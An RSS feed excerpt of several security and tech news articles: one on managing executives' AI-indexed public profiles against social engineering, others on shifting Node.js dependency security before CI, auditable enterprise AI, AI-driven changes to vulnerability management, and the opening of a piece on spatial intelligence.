<p class="wp-block-paragraph">What follows is how I advise clients to structure this work.</p>



<h3 class="wp-block-heading">Monitor regularly</h3>



<p class="wp-block-paragraph">The starting point is establishing visibility into what AI tools are actually returning about your executive population. Not a one-time audit conducted during a board meeting and forgotten. The profiles shift continuously as new content is indexed, old content is reweighted and the models are updated.</p>



<p class="wp-block-paragraph">Assign ownership to run structured queries across the major platforms, including ChatGPT, Gemini, Perplexity and the Microsoft Copilot stack, on a regular cadence. Document what you find and track changes. Treat the output the same way you would treat a vulnerability scan as something to be prioritized and acted upon.</p>



<h3 class="wp-block-heading">Reduce the available attack surface</h3>



<p class="wp-block-paragraph">Work with each executive to identify content that expands their AI-indexed profile without serving any legitimate business purpose. This includes legacy conference bios that contain personal details, social posts that reveal schedule patterns or family context and board announcements that, in aggregate, map an executive’s full professional network. For some of this content, removal is possible and worth pursuing with a targeted effort.</p>



<p class="wp-block-paragraph">The more important conversation is around future behavior. Executives who habitually overshare on LinkedIn or in conference panels need to understand, concretely, what that sharing enables.</p>



<p class="wp-block-paragraph">Family member exposure is a consistent blind spot. An attacker who cannot pressure an executive directly may look for leverage through a spouse, a sibling or a child. Executives rarely consider their family members’ public digital footprint as part of their own security posture. It is.</p>



<h3 class="wp-block-heading">Shape the narrative where reduction isn’t possible</h3>



<p class="wp-block-paragraph">Public company executives, board members with mandatory disclosure obligations and individuals whose public profiles are central to their organizations’ credibility cannot simply go dark.</p>



<p class="wp-block-paragraph">The objective shifts from reduction to shaping in these cases. The goal is to ensure that what AI tools synthesize from the indexed content is professionally bound and does not inadvertently surface high-value pretext material. This is a joint exercise between security and communications, with security defining risk boundaries and communications executing the strategy.</p>



<h3 class="wp-block-heading">Train executives on what their own profile looks like</h3>



<p class="wp-block-paragraph">The most effective single intervention I have seen in executive briefings is also the simplest. Open a browser and query an AI platform on the executive in the room. Let them see the output. The reaction is consistent. They are surprised by the synthesis, uncomfortable with specific details that surface and immediately more engaged with the rest of the conversation than they were before.</p>



<p class="wp-block-paragraph">Abstract threat briefings about social engineering risks rarely land with senior leaders who feel they understand their own security position. Demonstrated evidence of their AI-mediated profile lands every time. As covered in the context of <a href="https://www.cio.com/article/4076479/from-awareness-to-ai-driven-resilience-protecting-identities-data-and-agents.html">executive-targeted attacks</a>, awareness is a prerequisite for the behavior change that makes protection programs effective.</p>



<h3 class="wp-block-heading">Integrate this into the executive protection program</h3>



<p class="wp-block-paragraph">This work belongs alongside endpoint security, credential management and physical protection in a unified executive protection program. When it remains a communications function, it lacks the reporting structure, budget authority and operational discipline that security work requires.</p>



<p class="wp-block-paragraph">Assign an owner with a security mandate. Include AI exposure in the risk register. Report on it at the same cadence as other executive protection metrics. The organizations that have done this well have not created a separate program for it. They have extended an existing one.</p>



<h2 class="wp-block-heading"><a></a>What effective executive protection programs now include</h2>



<p class="wp-block-paragraph">The organizations that have integrated AI exposure into their executive protection work share a few characteristics that distinguish them from those still treating it as a communications edge case.</p>



<ul class="wp-block-list">
<li>They treat the executive’s public information footprint as a managed attack surface with a named accountable party. Someone is responsible for it, the same way someone is responsible for endpoint patching or identity governance.</li>



<li>They include AI-assisted reconnaissance as a starting condition in red team exercises. Before any social engineering simulation begins, the red team runs the same queries an attacker would run. The pretext they design is based on what those queries return.</li>



<li>Their executive protection briefings include an AI profile review as a standing agenda point. Physical security considerations, credential exposure and public information risk are reviewed together because they are connected. An attacker who knows an executive’s schedule from their public-facing content can time a credential reset attempt or a vishing call with equal precision.</li>
</ul>



<p class="wp-block-paragraph">The executive I reviewed several years ago had no idea what his AI-indexed profile contained or what it enabled. Most of the executives I work with today are in the same position. By the time you finish reading this, it is likely those queries have already been run on someone in your organization. The question is whether your program is positioned to detect it and respond in time.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Node.js security starts before CI]]></title>
<description><![CDATA[In many teams, dependency security still happens after the most important trust decision has already been made. A package is added, the lockfile changes, the feature moves forward, and only later does the pipeline ask whether the application should have trusted that code in the first place.



Th...]]></description>
<link>https://tsecurity.de/de/3672876/ai-nachrichten/nodejs-security-starts-before-ci/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672876/ai-nachrichten/nodejs-security-starts-before-ci/</guid>
<pubDate>Thu, 16 Jul 2026 11:04:19 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">In many teams, dependency security still happens after the most important trust decision has already been made. A package is added, the lockfile changes, the feature moves forward, and only later does the pipeline ask whether the application should have trusted that code in the first place.</p>



<p class="wp-block-paragraph">That workflow made sense when dependency security was mostly viewed as a compliance check. Run a scanner. Produce a report. Fail the build if the risk crosses a threshold. Let someone decide what to do next.</p>



<p class="wp-block-paragraph">But the modern Node.js ecosystem has changed. The risk no longer begins in CI. It begins earlier, at the moment a developer decides to trust a package.</p>



<p class="wp-block-paragraph">That is why the next phase of <a href="https://www.infoworld.com/article/4158762/is-your-node-js-project-really-secure.html" data-type="link" data-id="https://www.infoworld.com/article/4158762/is-your-node-js-project-really-secure.html">Node.js security</a> cannot be limited to better pipeline enforcement. It has to move closer to the developer workflow, before dependencies become part of the application, before a pull request becomes someone else’s problem, and before a build log becomes the first moment anyone realizes that something important has changed.</p>



<h2 class="wp-block-heading"><a></a>Every install is a trust decision</h2>



<p class="wp-block-paragraph">The npm ecosystem is built on trust at an enormous scale. Every install is a trust decision. Every transitive dependency extends that decision to maintainers, packages, scripts, release pipelines, and infrastructure the application team may never inspect directly. This model gave JavaScript its incredible velocity. It also created one of its deepest security weaknesses.</p>



<p class="wp-block-paragraph">Recent npm supply chain incidents show why this matters. In March 2026, <a href="https://www.csoonline.com/article/4152696/attackers-trojanize-axios-http-library-in-highest-impact-npm-supply-chain-attack.html" data-type="link" data-id="https://www.csoonline.com/article/4152696/attackers-trojanize-axios-http-library-in-highest-impact-npm-supply-chain-attack.html">malicious Axios versions were published to npm</a> through a compromised maintainer account. Microsoft later described how those packages attempted to retrieve a second-stage payload during installation. In May 2026, <a href="https://tanstack.com/blog/npm-supply-chain-compromise-postmortem" data-type="link" data-id="https://tanstack.com/blog/npm-supply-chain-compromise-postmortem">TanStack published a postmortem</a> explaining that 84 malicious versions across 42 npm packages were published through a legitimate release pipeline after an attacker abused GitHub Actions behavior and runner trust boundaries. Security researchers also <a href="https://www.csoonline.com/article/4179866/infected-red-hat-npm-packages-expose-developer-credentials.html" data-type="link" data-id="https://www.csoonline.com/article/4179866/infected-red-hat-npm-packages-expose-developer-credentials.html">reported broader Mini Shai-Hulud activity</a> across the npm ecosystem in May, including hundreds of malicious package versions published in a short period.</p>



<p class="wp-block-paragraph">Not every one of these incidents is a traditional CVE. Some are malicious package compromises. Some involve CI/CD credential theft. Some involve maintainer or pipeline compromise. But they all point to the same larger issue: dependency risk is now part of everyday software engineering, not something that can be pushed entirely to a downstream security process.</p>



<h2 class="wp-block-heading"><a></a>The problem is not the scanner. It is the handoff.</h2>



<p class="wp-block-paragraph">Ubiquitous dependency risk changes what developers need from security tooling.</p>



<p class="wp-block-paragraph">The problem is not that teams lack scanners. Many organizations already run security checks in CI. The problem is that the output of those checks often arrives too late and speaks the wrong language for the person expected to act on it.</p>



<p class="wp-block-paragraph">A pull request fails. A long vulnerability report appears. The report may be technically accurate. It may contain the right advisory IDs, affected versions, dependency paths, severity labels, and references. But the developer still has to comb through the output and reconstruct the actual engineering decision from the evidence provided.</p>



<p class="wp-block-paragraph">That reconstruction is rarely simple. The developer has to understand which package introduced the issue, whether the vulnerable dependency is direct or transitive, whether the fix is actually within the application team’s control, and whether the recommended version is safe to adopt. They also have to determine whether the dependency is used in production or only during development, whether the update might break the application, and whether the fix belongs in the current pull request or requires separate engineering work.</p>



<p class="wp-block-paragraph">That uncertainty is where security work often slows. The scanner has detected risk, but the developer has not been given a clear path from detection to decision.</p>



<h2 class="wp-block-heading"><a></a>Security needs to move closer to engineering judgment</h2>



<p class="wp-block-paragraph">This is not a criticism of scanning. Scanning is necessary. CI enforcement is necessary. Centralized security platforms are necessary. But they are not sufficient, because they often operate after the trust decision has already been made.</p>



<p class="wp-block-paragraph">The real architectural question is this: where should dependency security live in the software development life cycle?</p>



<p class="wp-block-paragraph">If it lives only in CI, it becomes an interruption. If it lives only in dashboards, it becomes someone else’s queue. If it lives only in periodic audits, it becomes a backlog. But if it lives at the moment a dependency is introduced, upgraded, or reviewed, it becomes part of engineering judgment.</p>



<p class="wp-block-paragraph">That shift matters because modern JavaScript development is becoming faster than human review can comfortably handle. Developers no longer add dependencies only by reading documentation and choosing libraries manually. AI coding assistants can suggest packages, generate install commands, modify package files, and rewrite code around third-party APIs. Agentic development workflows can make dependency changes as part of broader automated refactors.</p>



<h2 class="wp-block-heading"><a></a>AI makes the trust boundary harder to see</h2>



<p class="wp-block-paragraph">That acceleration is useful. It also changes the risk model.</p>



<p class="wp-block-paragraph">When a human developer adds one package, the team can review the decision. When a coding agent modifies several dependencies as part of a larger task, the trust boundary becomes harder to see. The package file changes, the lockfile changes, the application still runs, and the pull request may look like a normal feature update. But the real security question may be hidden inside the dependency graph.</p>



<p class="wp-block-paragraph">This is where Node.js teams need a different mental model.</p>



<p class="wp-block-paragraph">Dependency adoption should not be treated as a small implementation detail. It should be treated as an architectural decision with security consequences. A new package is not just code reuse. It is a new trust relationship.</p>



<p class="wp-block-paragraph">That does not mean developers should stop using packages. The npm ecosystem exists because reuse works. Most teams cannot and should not build everything themselves. But convenience should not erase visibility. If a dependency becomes part of the application, the team should understand what was added, what changed in the lockfile, what risk comes with it, and what action is available if something is wrong.</p>



<h2 class="wp-block-heading"><a></a>Developers need confidence, not just reports</h2>



<p class="wp-block-paragraph">The same applies to remediation. Developers do not want a wall of vulnerability text. They want confidence. They want to know what action reduces risk, what version should be targeted, whether the change is safe, and whether the fix is actually under their control. A vulnerability report that leaves the developer uncertain may satisfy a process requirement, but it does not necessarily improve the speed or quality of remediation.</p>



<p class="wp-block-paragraph">That is the gap many teams feel today. Security tools are often very good at saying, “There is a problem.” They are less consistent at helping the developer answer, “What should I do next?”</p>



<p class="wp-block-paragraph">This is the broader problem I have been exploring through <a href="https://github.com/OWASP/cve-lite-cli">CVE Lite CLI</a>, now an OWASP project. The point is not that one command-line tool solves Node.js security. It does not. The larger idea is that dependency security has to move closer to the developer’s moment of decision. A useful developer-side security workflow should not merely report that risk exists. It should help the engineer understand whether the issue is in their control, what change is available, and whether the fix actually reduces risk.</p>



<h2 class="wp-block-heading"><a></a>The future is decision support, not just detection</h2>



<p class="wp-block-paragraph">That distinction is important. The future of Node.js security is not just more detection. It is better decision support.</p>



<p class="wp-block-paragraph">Security teams still need policy. Enterprises still need dashboards. CI still needs gates. But developers need something more immediate: a way to reason about dependency risk while the code is still fresh in their mind. That is where the ecosystem has to evolve.</p>



<p class="wp-block-paragraph">We already accept that testing belongs close to development. We accept that linting belongs close to development. We accept that formatting, type checking, and build validation belong close to development. Dependency security should follow the same path. It should not be treated as a mysterious report that appears at the end of the process. It should become part of the normal rhythm of engineering work.</p>



<p class="wp-block-paragraph">Before adding a package, developers should understand what trust relationship is being introduced. Before accepting an AI-generated dependency change, they should inspect what entered the graph. Before merging a pull request, teams should understand whether a vulnerability is direct, transitive, fixable, or blocked by another package. And before treating a CI failure as noise, organizations should ask whether the workflow is giving developers enough information to act confidently.</p>



<h2 class="wp-block-heading">Node.js security will be won, or lost, before CI runs</h2>



<p class="wp-block-paragraph">The Node.js ecosystem will not become safer by slowing down all development. That is unrealistic. It will become safer when security work is placed where developers can actually use it.</p>



<p class="wp-block-paragraph">The next generation of Node.js security will be won or lost before CI runs.</p>



<p class="wp-block-paragraph">It will be won when dependency decisions are still small enough to understand, fresh enough to review, and close enough to the developer for action to feel natural.</p>



<p class="wp-block-paragraph">That is the shift teams need to make now. Not from insecure to secure in one step, but from late detection to earlier judgment. From vulnerability reports to engineering decisions. From trusting packages by habit to understanding trust as part of software design.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Getting from black-box AI to glass-box AI]]></title>
<description><![CDATA[A year ago, most enterprise AI systems generated recommendations. Today, AI systems are approving transactions, routing shipments, updating records, interacting with customers, and triggering downstream software actions with little or no human involvement.



For CIOs, that shift changes the cent...]]></description>
<link>https://tsecurity.de/de/3672874/ai-nachrichten/getting-from-black-box-ai-to-glass-box-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672874/ai-nachrichten/getting-from-black-box-ai-to-glass-box-ai/</guid>
<pubDate>Thu, 16 Jul 2026 11:04:17 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">A year ago, most enterprise AI systems generated recommendations. Today, AI systems are approving transactions, routing shipments, updating records, interacting with customers, and triggering downstream software actions with little or no human involvement.</p>



<p class="wp-block-paragraph">For CIOs, that shift changes the central governance question. The challenge is no longer simply whether an AI model is accurate. It is whether the organization can explain, audit, and defend the decisions the system makes.</p>



<p class="wp-block-paragraph">When an AI assistant suggests a meeting time or summarizes a document, mistakes are inconvenient. When an autonomous AI system issues a refund, reprices a product, modifies a customer record, or initiates a financial transaction, mistakes carry operational, legal, and reputational consequences.</p>



<p class="wp-block-paragraph">When those consequences arrive, “the model decided” is not an acceptable explanation.</p>



<p class="wp-block-paragraph">This is the accountability gap emerging at the center of enterprise AI adoption. Organizations are deploying increasingly autonomous systems while relying on technology that often provides little visibility into how decisions are made. The result is a growing mismatch between the level of authority organizations grant AI and their ability to understand or justify its actions.</p>



<p class="wp-block-paragraph">Black-box AI may have been acceptable when AI primarily generated predictions. It becomes far more problematic when AI begins taking actions on behalf of the business.</p>



<h2 class="wp-block-heading">The lesson software already learned</h2>



<p class="wp-block-paragraph">Fortunately, the technology industry has faced a similar challenge before.</p>



<p class="wp-block-paragraph">As enterprise software systems became more distributed and complex, troubleshooting failures became increasingly difficult. Engineers could no longer rely on intuition to understand what happened when something broke. The solution was <a href="https://www.infoworld.com/article/2262666/what-is-observability-software-monitoring-on-steroids.html" data-type="link" data-id="https://www.infoworld.com/article/2262666/what-is-observability-software-monitoring-on-steroids.html">observability</a>: the practice of instrumenting systems so their internal state could be understood through logs, metrics, traces, and monitoring.</p>



<p class="wp-block-paragraph">The goal was not to predict every possible failure in advance. It was to create enough visibility that teams could reconstruct what happened after the fact and identify the root cause.</p>



<p class="wp-block-paragraph">Enterprise AI now requires a similar discipline.</p>



<p class="wp-block-paragraph">But AI observability must go beyond traditional software observability. It is not enough to know what action occurred. Organizations also need visibility into why the system believed that action was appropriate.</p>



<p class="wp-block-paragraph">An auditable AI system should be able to answer questions such as:</p>



<ul class="wp-block-list">
<li>What information did the system rely on?</li>



<li>Which tools or data sources did it access?</li>



<li>What alternatives did it consider?</li>



<li>What verification steps were performed?</li>



<li>How confident was it in its conclusion?</li>



<li>What events led to the final action?</li>
</ul>



<p class="wp-block-paragraph">These questions are rapidly becoming essential operational requirements rather than technical nice-to-haves.</p>



<h2 class="wp-block-heading">Why visibility matters more as AI gains autonomy</h2>



<p class="wp-block-paragraph">As AI systems become more autonomous, failures become harder to detect and diagnose.</p>



<p class="wp-block-paragraph">A human reviewing a single AI-generated recommendation can often spot obvious mistakes. A network of AI agents coordinating multiple tasks across business processes presents a different challenge. Decisions can build upon one another. A flawed assumption early in a workflow can propagate through subsequent actions, creating confident but incorrect outcomes.</p>



<p class="wp-block-paragraph">The challenge is rarely identifying that something went wrong. Eventually, an error surfaces through a customer complaint, a failed transaction, an audit finding, or an operational disruption.</p>



<p class="wp-block-paragraph">The challenge is determining why it happened.</p>



<p class="wp-block-paragraph">Which information influenced the decision? Which tools were consulted? Which safeguards worked as intended? Which ones failed?</p>



<p class="wp-block-paragraph">Without visibility into the reasoning process, troubleshooting autonomous AI workflows can become significantly more difficult than debugging traditional software systems.</p>



<p class="wp-block-paragraph">For CIOs responsible for enterprise reliability, compliance, and governance, that lack of visibility creates unacceptable operational risk.</p>



<h2 class="wp-block-heading">Moving toward glass-box AI</h2>



<p class="wp-block-paragraph">The answer is not to slow AI adoption. The answer is to make AI systems observable.</p>



<p class="wp-block-paragraph">Increasingly, organizations are seeking AI systems that behave more like a glass box than a black box. The objective is not to expose every parameter inside a neural network. Rather, it is to provide a clear, auditable record of how decisions were reached and why actions were taken.</p>



<p class="wp-block-paragraph">The most promising approaches share two common characteristics.</p>



<p class="wp-block-paragraph">The first is verification. Instead of treating a single model’s output as ground truth, systems incorporate independent validation steps before actions are executed. Multiple agents, external checks, business rules, or verification workflows help identify errors before they become operational incidents.</p>



<p class="wp-block-paragraph">The second is explainability. Effective systems maintain a decision trail that captures inputs, intermediate reasoning steps, tool usage, verification activities, and outputs in a form that human reviewers can understand.</p>



<p class="wp-block-paragraph">Together, these capabilities create something that has long been expected of human decision-makers but is often missing from AI systems: the ability to show your work.</p>



<h2 class="wp-block-heading">The regulatory and business reality</h2>



<p class="wp-block-paragraph">The push toward AI observability is not being driven solely by technologists.</p>



<p class="wp-block-paragraph">Regulators increasingly expect organizations to demonstrate oversight of automated decision-making systems. Emerging AI governance frameworks place growing emphasis on transparency, traceability, accountability, and human oversight.</p>



<p class="wp-block-paragraph">Customers are moving in the same direction. Whether the decision involves pricing, service, eligibility, or support, people increasingly want the ability to understand and challenge outcomes that affect them.</p>



<p class="wp-block-paragraph">The result is a convergence of operational, regulatory, and market pressures around a single requirement: organizations must be able to explain what their AI systems are doing.</p>



<h2 class="wp-block-heading">Three questions every CIO should ask</h2>



<p class="wp-block-paragraph">Before deploying autonomous AI systems, technology leaders should be able to answer three basic questions:</p>



<ol start="1" class="wp-block-list">
<li>Can we reconstruct the complete decision path that led to an action?</li>



<li>Can we verify critical outputs before actions are executed?</li>



<li>Can a human auditor understand why the decision occurred?</li>
</ol>



<p class="wp-block-paragraph">If the answer to any of those questions is no, the organization may be granting more authority to AI than it can responsibly govern.</p>



<h2 class="wp-block-heading">Accountability will become a competitive advantage</h2>



<p class="wp-block-paragraph">The organizations that succeed with autonomous AI will not necessarily be those that automate the most processes or deploy the largest models. They will be the organizations that combine automation with accountability.</p>



<p class="wp-block-paragraph">Black-box systems made sense when AI primarily generated predictions. As AI increasingly acts on behalf of businesses, customers, and employees, visibility becomes essential.</p>



<p class="wp-block-paragraph">The future of enterprise AI will belong not to systems that merely act, but to systems whose actions can be examined, understood, and trusted.</p>



<p class="wp-block-paragraph"><em>—</em></p>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/blogs/new-tech-forum"><strong><em>New Tech Forum</em></strong></a><em><strong> provides a venue for technology leaders—including vendors and other outside contributors—to explore and discuss emerging enterprise technology in unprecedented depth and breadth. The selection is subjective, based on our pick of the technologies we believe to be important and of greatest interest to InfoWorld readers. InfoWorld does not accept marketing collateral for publication and reserves the right to edit all contributed content. Send all </strong></em><em><strong>inquiries to </strong></em><a href="mailto:doug_dineley@foundryco.com"><strong><em>doug_dineley@foundryco.com</em></strong></a><em><strong>.</strong></em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Flaw surge fuels need for CISOs to rethink vulnerability management]]></title>
<description><![CDATA[Security experts are calling on enterprises to revise their vulnerability management strategies and move towards “just in time” patching in response the increased pace of vulnerability exploitation.



Attackers are turning to AI to increase the rate of vulnerability exploitation and supply chain...]]></description>
<link>https://tsecurity.de/de/3672628/it-security-nachrichten/flaw-surge-fuels-need-for-cisos-to-rethink-vulnerability-management/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672628/it-security-nachrichten/flaw-surge-fuels-need-for-cisos-to-rethink-vulnerability-management/</guid>
<pubDate>Thu, 16 Jul 2026 09:24:31 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Security experts are calling on enterprises to revise their vulnerability management strategies and move towards “just in time” patching in response the increased pace of vulnerability exploitation.</p>



<p class="wp-block-paragraph">Attackers are <a href="https://www.csoonline.com/article/4181924/ai-worm-prototype-shows-attackers-dont-need-mythos-to-take-over-your-network.html">turning to AI</a> to increase the <a href="https://www.csoonline.com/article/3632268/gen-ai-is-transforming-the-cyber-threat-landscape-by-democratizing-vulnerability-hunting.html">rate of vulnerability exploitation</a> and supply chain compromise so that traditional forms of vulnerability management are no longer keeping pace.</p>



<p class="wp-block-paragraph">Muhammad Yahya Patel, vCISO and cybersecurity advisor for EMEA at managed security services vendor Huntress, recently <a href="https://www.csoonline.com/article/4176086/vulnerabilities-have-become-cyber-attackers-no-1-door-to-the-enterprise.html">told CSO</a> that “organizations need to shift their vulnerability management program to a risk-based, continuous [approach], tied to real-time exploitation intelligence — not scheduled patch cycles that leave exploitation windows wide open for days and weeks.”</p>



<h2 class="wp-block-heading">Wild frontier</h2>



<p class="wp-block-paragraph">Frontier AI tools such as Claude Mythos have <a href="https://www.csoonline.com/article/4158117/anthropics-mythos-signals-a-structural-cybersecurity-shift.html">signaled a structural shift for cybersecurity</a>, readily surfacing vulnerabilities at a huge scale — a development that, as government security assurance organizations such as the UK’s National Cyber Security Centre point out, is likely to lead to a surge in patches.</p>



<p class="wp-block-paragraph">“Most organizations already struggle to fix known issues quickly, so a spike in AI-driven discovery could easily overwhelm teams and widen the gap between finding problems and fixing them,” Andrew Woodford, CTO at network security vendor Titania, tells CSO. “In many ways, this just exposes a problem that’s already there.”</p>



<p class="wp-block-paragraph">Shane Fry, CTO at cybersecurity vendor RunSafe Security, argues that <a href="https://www.csoonline.com/article/3520881/patch-management-a-dull-it-pain-that-wont-go-away.html">patching as a security strategy</a> has been in crisis for years, and AI-accelerated vulnerability discovery has simply pushed it over the edge.</p>



<p class="wp-block-paragraph">Some experts contend that virtual patching — a technique that involves blocking exploit attempts at a security layer rather than fixing vulnerable code — represents a sound mitigation strategy, but Fry has reservations about the approach.</p>



<p class="wp-block-paragraph">“While virtual patching will play a role going forward, its effectiveness is limited and leaves security teams chasing a gap they will never be able to close,” Fry says.</p>



<p class="wp-block-paragraph">Instead, security teams need to shift toward mitigation-first approaches that make it impossible for attackers to exploit bugs in software.</p>



<p class="wp-block-paragraph">“Removing entire classes of exploits upfront takes the heat out of the patch gap, and allows patching to become strategic rather than reactive,” Fry argues.</p>



<h2 class="wp-block-heading">‘Assume Autonomy’</h2>



<p class="wp-block-paragraph">The conventional patch management model was designed around a world where vulnerability discovery happened at human speed: A human researcher finds a flaw, reports it, a CVE gets assigned, vendors ship a fix, enterprises test and deploy it — a process that can take weeks.</p>



<p class="wp-block-paragraph">AI-powered vulnerability discovery blows this model out of the water.</p>



<p class="wp-block-paragraph">“If offensive AI can identify, validate, and exploit vulnerabilities without human authorization, a 43-day median patch time, as noted in Verizon’s DBIR, is the least of your problems,” argues Rik Ferguson, vice president of security intelligence at Forescout. “An AI system doesn’t wait for a proof-of-concept to circulate on GitHub or a CVSS score to land in a dashboard. It finds the flaw, confirms exploitability, and moves.”</p>



<p class="wp-block-paragraph">Ferguson advocates a change of approach toward what he describes as “Assume Autonomy.”</p>



<p class="wp-block-paragraph">“The question is what compensating controls you put in place between discovery and remediation, and how you constrain what an attacker can do with access they’ve already acquired,” Ferguson explains.</p>



<p class="wp-block-paragraph">Just-in-time patching fits in with this philosophy and is a desirable goal but may be difficult to achieve in practice especially for the many enterprises that struggle with asset management.</p>



<p class="wp-block-paragraph">“Just-in-time patching is sound in principle: prioritize and deploy fixes as exploitation intelligence emerges rather than waiting for the scheduled window,” Ferguson says. “But achieving it has some real-world requirements: continuous asset visibility, knowing precisely what you have, where it is, and what its current exposure status is.”</p>



<p class="wp-block-paragraph">For example, Ferguson adds, “you can’t patch just-in-time against a vulnerability in a device you didn’t know was on your network.”</p>



<h2 class="wp-block-heading">Virtual patching</h2>



<p class="wp-block-paragraph">Gunter Ollmann, CTO at pen testing as a service firm Cobalt, notes that just-in-time patching makes sense if and when a patch is available — but that’s not always possible.</p>



<p class="wp-block-paragraph">“The major problem lies in the discovery of new vulnerabilities in code or systems that the business has no rights or capabilities to fix themselves, and they have a dependence upon third parties to develop the fix or patch — and are therefore subject to external SLA [service level agreement] turnarounds,” Ollmann explains.</p>



<p class="wp-block-paragraph">In such cases, enterprises will need to deploy virtual patches capable of blocking or deflecting the exploitation vectors of the vulnerable system.</p>



<p class="wp-block-paragraph">“Businesses are in desperate need of quickly deciphering a new vulnerability and dynamically creating an appropriate blocking rule — or rules — for their layered defenses,” Ollmann says.</p>



<p class="wp-block-paragraph">Virtual patching may mitigate security threats particularly in operational technology (OT) and IoT environments where applying a vendor patch to a running production system risks unplanned downtime or safety system interruption but only serves as a stop gap, Ferguson tells CSO.</p>



<p class="wp-block-paragraph">“A network-layer control that blocks exploitation of a known flaw, while you work through the testing and deployment cycle for the actual fix, is a compensating control,” notes Ferguson, who warns that virtual patches come with multiple drawbacks.</p>



<p class="wp-block-paragraph">“Virtual patches require accurate detection signatures, they don’t remediate the underlying vulnerability, and they can create a false sense of closure that delays proper patching indefinitely,” Ferguson argues. “The risk is that temporary becomes permanent. The underlying vulnerability stays open, and the virtual patch becomes the reason nobody revisits it.”</p>



<h2 class="wp-block-heading">Just-in-time risk reduction</h2>



<p class="wp-block-paragraph">Douglas McKee, director of vulnerability intelligence at Rapid7, advocates what he describes as just-in-time risk reduction rather than just-in-time patching because of the practical difficulties with the latter.</p>



<p class="wp-block-paragraph">“In the real world, especially in OT, medical devices, and business-critical systems, you can’t always patch the second a CVE drops,” McKee argues. “You still need testing, maintenance windows, rollback plans, and someone who actually owns the asset. However, the old monthly scan, report, and remediation cycle will not survive this pace.”</p>



<h2 class="wp-block-heading">Tips for modernizing vulnerability management</h2>



<p class="wp-block-paragraph">The enterprise attack surface has expanded significantly of late, and patch management models haven’t kept up. In response, security leaders’ vulnerability management strategies have to become more of a continuous monitoring function, not a triage and remediation process.</p>



<p class="wp-block-paragraph">Modernizing enterprise approaches to vulnerability management involves “real-time exploitation intelligence integrated into prioritization, compensating controls deployed at discovery rather than at patch release, and visibility across the full asset estate that conventional patch management tools were never designed to cover,” Ferguson says.</p>



<p class="wp-block-paragraph">Rapid7’s McKee stresses that security teams need to separate “known vulnerable” from “actually reachable and exploitable in my environment.”</p>



<p class="wp-block-paragraph">This process can be achieved through a combination of asset inventory, internet exposure mapping, KEV tracking, vulnerability intelligence, ownership, and emergency change paths.</p>



<p class="wp-block-paragraph">“Prioritization based on risk factors like public exposure, known exploitation, automation potential, and technical impact is key,” McKee concludes.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[A look at spatial intelligence and world models]]></title>
<description><![CDATA[It’s been several years since generative AI and large language models (LLMs) took the world by storm. LLMs surpassed earlier natural-language systems at generating text, while diffusion models enabled generating images, music, and videos.



These generative AI models work well in the digital wor...]]></description>
<link>https://tsecurity.de/de/3672181/ai-nachrichten/a-look-at-spatial-intelligence-and-world-models/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672181/ai-nachrichten/a-look-at-spatial-intelligence-and-world-models/</guid>
<pubDate>Thu, 16 Jul 2026 03:48:06 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">It’s been several years since <a href="https://www.infoworld.com/article/2338115/what-is-generative-ai-artificial-intelligence-that-creates.html" data-type="link" data-id="https://www.infoworld.com/article/2338115/what-is-generative-ai-artificial-intelligence-that-creates.html">generative AI</a> and <a href="https://www.understandingai.org/p/large-language-models-explained-with">large language models</a> (LLMs) took the world by storm. LLMs surpassed earlier natural-language systems at generating text, while <a href="https://www.technologyreview.com/2025/09/12/1123562/how-do-ai-models-generate-videos/">diffusion models</a> enabled generating images, music, and videos.</p>



<p class="wp-block-paragraph">These generative AI models work well in the digital world, but on their own, they have limited capabilities to comprehend the three-dimensional physical world and other spaces. This includes the objects occupying an area, how they relate to each other, tracking movement, and answering complex questions requiring an understanding of dimensions, distances, motion, and collisions.</p>



<p class="wp-block-paragraph">Spatial intelligence is an AI capability that allows models to reason about three-dimensional space. These models can generate 3D scenes of the world and other spaces. This content can then be displayed through traditional renderers, game engines, or AR/VR systems that use <a href="https://builtin.com/hardware/spatial-computing">spatial computing</a> techniques. But it’s the spatial intelligence model’s ability to connect natural language with 3D models that has the most applications in robotics, manufacturing, construction, and other physical environments.   </p>



